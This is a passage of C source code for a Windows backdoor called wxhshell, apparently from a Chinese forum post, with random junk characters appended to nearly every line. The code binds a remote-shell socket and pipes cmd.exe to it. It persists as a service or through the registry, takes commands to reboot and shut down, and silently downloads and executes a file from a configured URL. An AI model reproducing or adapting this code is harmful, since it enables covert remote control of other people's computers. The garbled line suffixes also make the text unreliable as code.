  // 帮助 Cu ['&_@  
  case '?': { +qh< Fj>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !BvTJ-e)F  
    break; *x*,I ,03  
  } (.@p4q Q-  
  // 安装 m p|20`go  
  case 'i': { y'0dl "Dy\  
    if(Install()) !ho5VA t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |&0"N[t  
    else </+%R"`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !%Hl#Pv}  
    break; {LB }v;?l  
    } 9J2q`/6~e  
  // 卸载 9A* ?E  
  case 'r': { 90y9~.v  
    if(Uninstall()) z 1#0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @qO8Jg"Q  
    else #pDGaqeX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bp$+ F/  
    break; t=E|RYC(k  
    } XRz%KVysp  
  // 显示 wxhshell 所在路径 T$.-{I  
  case 'p': { UpszCY4  
    char svExeFile[MAX_PATH]; R+kZLOE  
    strcpy(svExeFile,"\n\r"); j J`Zz  
      strcat(svExeFile,ExeFile); C\a:eSgaC  
        send(wsh,svExeFile,strlen(svExeFile),0); 53,,%Ue  
    break; k8x&aH  
    } d=4f`q0k  
  // 重启 ~f]r>jQM  
  case 'b': { syC"eH3{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N[ Lz 0c?  
    if(Boot(REBOOT)) o {Xw Li  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |peMr#  
    else { VhH]n yi7D  
    closesocket(wsh); aaf_3UH.B  
    ExitThread(0); C#**)  
    } ;Xd\$)n  
    break; [oU+b(  
    } yf#%)-7(  
  // 关机 e>vUkP y  
  case 'd': { Hh/ -^G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YPff)0Nh  
    if(Boot(SHUTDOWN)) V M\Z<}C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LL$,<q%(P  
    else { Br ^rK}|l  
    closesocket(wsh); !OZh fMVd  
    ExitThread(0); *a4b`HRT  
    } ?N!j.E4=  
    break; ![P(B0Ct/  
    } ~0^,L3M  
  // 获取shell Hdq/E>u  
  case 's': { U@v8H!p^i  
    CmdShell(wsh); yd2qf  
    closesocket(wsh); = @Nv:1:r  
    ExitThread(0); b~haP.Cl :  
    break; l5y#i7q  
  } _#YHc[Wz  
  // 退出 {DXZ}7w:v  
  case 'x': { YqY6\ mo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >NOYa3  
    CloseIt(wsh); Tm:#"h\F  
    break; }DUDA%U  
    } `Z7ITvF>  
  // 离开 SAll9W4  
  case 'q': { R&=GB\`:a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mZ5K hPvf8  
    closesocket(wsh); AINFua4A  
    WSACleanup(); @6!y(e8"J]  
    exit(1); Qqhb]<z  
    break; H+#wj|,+\  
        } BWi 7v  
  } wM4g1H%s  
  } \]`(xxt1  
Tx!m6B`Y  
  // 提示信息 +|"n4iZ!)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DN 8pJa  
} &!YH"{b  
  } eRx[&-c  
ma-Y'  
  return; pTX'5   
} ZesD(  
k+R?JWC:  
// shell模块句柄 yxP?O@(  
int CmdShell(SOCKET sock) \lbiz4^>  
{ \IZ4( Z  
STARTUPINFO si; (z1%lZ}(  
ZeroMemory(&si,sizeof(si)); vYt:}$AE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8rG&CxI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Yz/t  
PROCESS_INFORMATION ProcessInfo; "0 PN  
char cmdline[]="cmd"; np\Q&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tEX~72v  
  return 0; j_WF38o  
} qp_ `Fj:  
/GSI.tO  
// 自身启动模式 ,/b/O4`;y  
int StartFromService(void) |16BidWi  
{ N evvA(M  
typedef struct XsN#<"f;i  
{ ty< tv|p  
  DWORD ExitStatus; lPN< rgg  
  DWORD PebBaseAddress; T17LYHIT  
  DWORD AffinityMask; y yR8VO{  
  DWORD BasePriority; _}D?+x,C8  
  ULONG UniqueProcessId; s=~7m.m  
  ULONG InheritedFromUniqueProcessId; MJ"Mn^:/  
}   PROCESS_BASIC_INFORMATION; "A1yqK  
"!/_h >  
PROCNTQSIP NtQueryInformationProcess; KW6" +,Th  
4"X>_Nt6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E|4XQ|B@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2V"gqJHv  
n`KXJ?t  
  HANDLE             hProcess; |AfQ_iT6c  
  PROCESS_BASIC_INFORMATION pbi; boOw K?  
g~H? l3v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~m|?! ]n  
  if(NULL == hInst ) return 0; ^$,kTU'=  
SyVbCj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8'xnhV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,0~ {nQj]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +\Mm (Nd  
fh)`kZDk  
  if (!NtQueryInformationProcess) return 0; n03SX aU~V  
R"t$N@ZFb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )* nbEZm@  
  if(!hProcess) return 0; %=<NqINM[  
?jm2|:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8oH54bFp  
3 <lhoD  
  CloseHandle(hProcess); k Z[yv  
c_qy)N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h16Nr x  
if(hProcess==NULL) return 0; nN\XVGP,t  
Jc?ssm\%  
HMODULE hMod; nW%=k!''  
char procName[255]; h>%JG'DV  
unsigned long cbNeeded; j<P%Uy+  
*!Y3N<>!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,k!f`  
1V3J:W#;  
  CloseHandle(hProcess); yaYt/?|  
>`|uc  
if(strstr(procName,"services")) return 1; // 以服务启动 &2]D+aL|h  
GO3YXO33  
  return 0; // 注册表启动 ZWW8Hr  
} $K5s)!  
{=4:Tgw  
// 主模块 }o:sx/=u_  
int StartWxhshell(LPSTR lpCmdLine) `oWjq6  
{ n4&j<zAV{  
  SOCKET wsl; ']Xx#U N  
BOOL val=TRUE; p2vUt  
  int port=0; sx^? Iw,N'  
  struct sockaddr_in door; 9S1V! Jp  
64>[pZF8  
  if(wscfg.ws_autoins) Install(); w&cyGd D5  
gpvj'Ri7V  
port=atoi(lpCmdLine); xa0%;nFKe  
I3$vw7}5Y  
if(port<=0) port=wscfg.ws_port; _rJ SkZO  
Z_~DTO2Qg  
  WSADATA data; 0i `Zy!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  +5mkMZ  
CscJy0dB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BmF>IQ`M?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1O7ss_E  
  door.sin_family = AF_INET; 2^M+s\p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ED>{UiNI  
  door.sin_port = htons(port); jt r=8OiL  
h1o+7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { esFL<T  
closesocket(wsl); [eP]8G\ W  
return 1; #7T={mh  
} {o<p{q  
eSBf;lr=  
  if(listen(wsl,2) == INVALID_SOCKET) { BD#;3?|  
closesocket(wsl); d$~b`  
return 1; /iuNdh  
} GZX!iT  
  Wxhshell(wsl); :uDB3jN[  
  WSACleanup(); N,Bs% p#1  
s9bP6N!,  
return 0; )II,HT-LY  
cS7!,XC  
} R_&z2I  
"a{f? .X.  
// 以NT服务方式启动 becQ5w/~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :P"Gym  
{ rO%+)M$A  
DWORD   status = 0; 2U{RA' s  
  DWORD   specificError = 0xfffffff; FRk_xxe"K  
K+OU~SED%F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k ,(:[3J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @+#p: sE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; += ~}PF  
  serviceStatus.dwWin32ExitCode     = 0; HbDB?s<  
  serviceStatus.dwServiceSpecificExitCode = 0; &L~rq)r/&  
  serviceStatus.dwCheckPoint       = 0; ?.ihWbW_  
  serviceStatus.dwWaitHint       = 0; qW>J-,61/  
MA6%g} o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); obolDh a  
  if (hServiceStatusHandle==0) return; S c Kfr  
tb\pjLB][  
status = GetLastError(); bM3e7olWS  
  if (status!=NO_ERROR) AR3=G>hO,  
{ li P{Mu/LO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e,UgTxZ  
    serviceStatus.dwCheckPoint       = 0; q~_jF$9SX  
    serviceStatus.dwWaitHint       = 0; i=QhX CM  
    serviceStatus.dwWin32ExitCode     = status; ,jcp"-5#j  
    serviceStatus.dwServiceSpecificExitCode = specificError; ttVSgKAsm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }TvAjLIS6  
    return; QLG,r^  
  } '=* 5C{  
Ft !~w#&-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 59 Y=VS  
  serviceStatus.dwCheckPoint       = 0; 4]KceE  
  serviceStatus.dwWaitHint       = 0; H4Ek,m|c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L1i> %5:g  
} O8o18m8UH  
9V\`{(R  
// 处理NT服务事件,比如:启动、停止 0O4mA&&!oK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {HnOUc\4  
{ o]U ==  
switch(fdwControl) 7S Zs/wWh%  
{ z\ pT+9&  
case SERVICE_CONTROL_STOP: sTyGi1  
  serviceStatus.dwWin32ExitCode = 0; /^G+vhlf\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~vF o 0k(  
  serviceStatus.dwCheckPoint   = 0; a$8?0` (  
  serviceStatus.dwWaitHint     = 0; ,-kZ5&r  
  { i(HhL&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t%@ pyK  
  } ek!N eu>  
  return; miSC'!  
case SERVICE_CONTROL_PAUSE: 8:NHPHxB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yg.u8{H  
  break; :tG5~sK  
case SERVICE_CONTROL_CONTINUE: 4*X$Jle|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .X1niguXH  
  break; h zE)>f  
case SERVICE_CONTROL_INTERROGATE: (5&"Y?#o,  
  break; _P1-d`b0 a  
}; j"s(?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cx~z^YP'  
} 8t!"K_Mkx  
xpwzzO*U  
// 标准应用程序主函数 k<H&4Z)d9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @("AkYPj  
{ l !v#6#iq  
%C<eR_  
// 获取操作系统版本 @oNrR$7  
OsIsNt=GetOsVer(); yr'`~[oSCy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kq-RM#Dj:  
E@KK\m \e  
  // 从命令行安装 amgex$  
  if(strpbrk(lpCmdLine,"iI")) Install(); U+ =q_ <  
rfoCYsX'  
  // 下载执行文件 o9>X"5CmX  
if(wscfg.ws_downexe) { yI<'J^1C[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H1M>60*  
  WinExec(wscfg.ws_filenam,SW_HIDE); WgB,,L,  
} owhht98y(  
ta(x4fP_  
if(!OsIsNt) { p4 PFoFo2  
// 如果时win9x,隐藏进程并且设置为注册表启动 dD%m=x  
HideProc(); 6}$cDk`dz  
StartWxhshell(lpCmdLine); eSU8/9B  
} ~Y[1Me  
else QCw<* Id+  
  if(StartFromService()) jo~vOu  
  // 以服务方式启动 U"]i.J1  
  StartServiceCtrlDispatcher(DispatchTable); ntejFy9_  
else v( B4Bz2  
  // 普通方式启动 o ++Hdvai  
  StartWxhshell(lpCmdLine); < n{9pZ5.  
l ,.;dw  
return 0; XjbK!.  
}
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只看该作者 1 发表于: 2006-10-10
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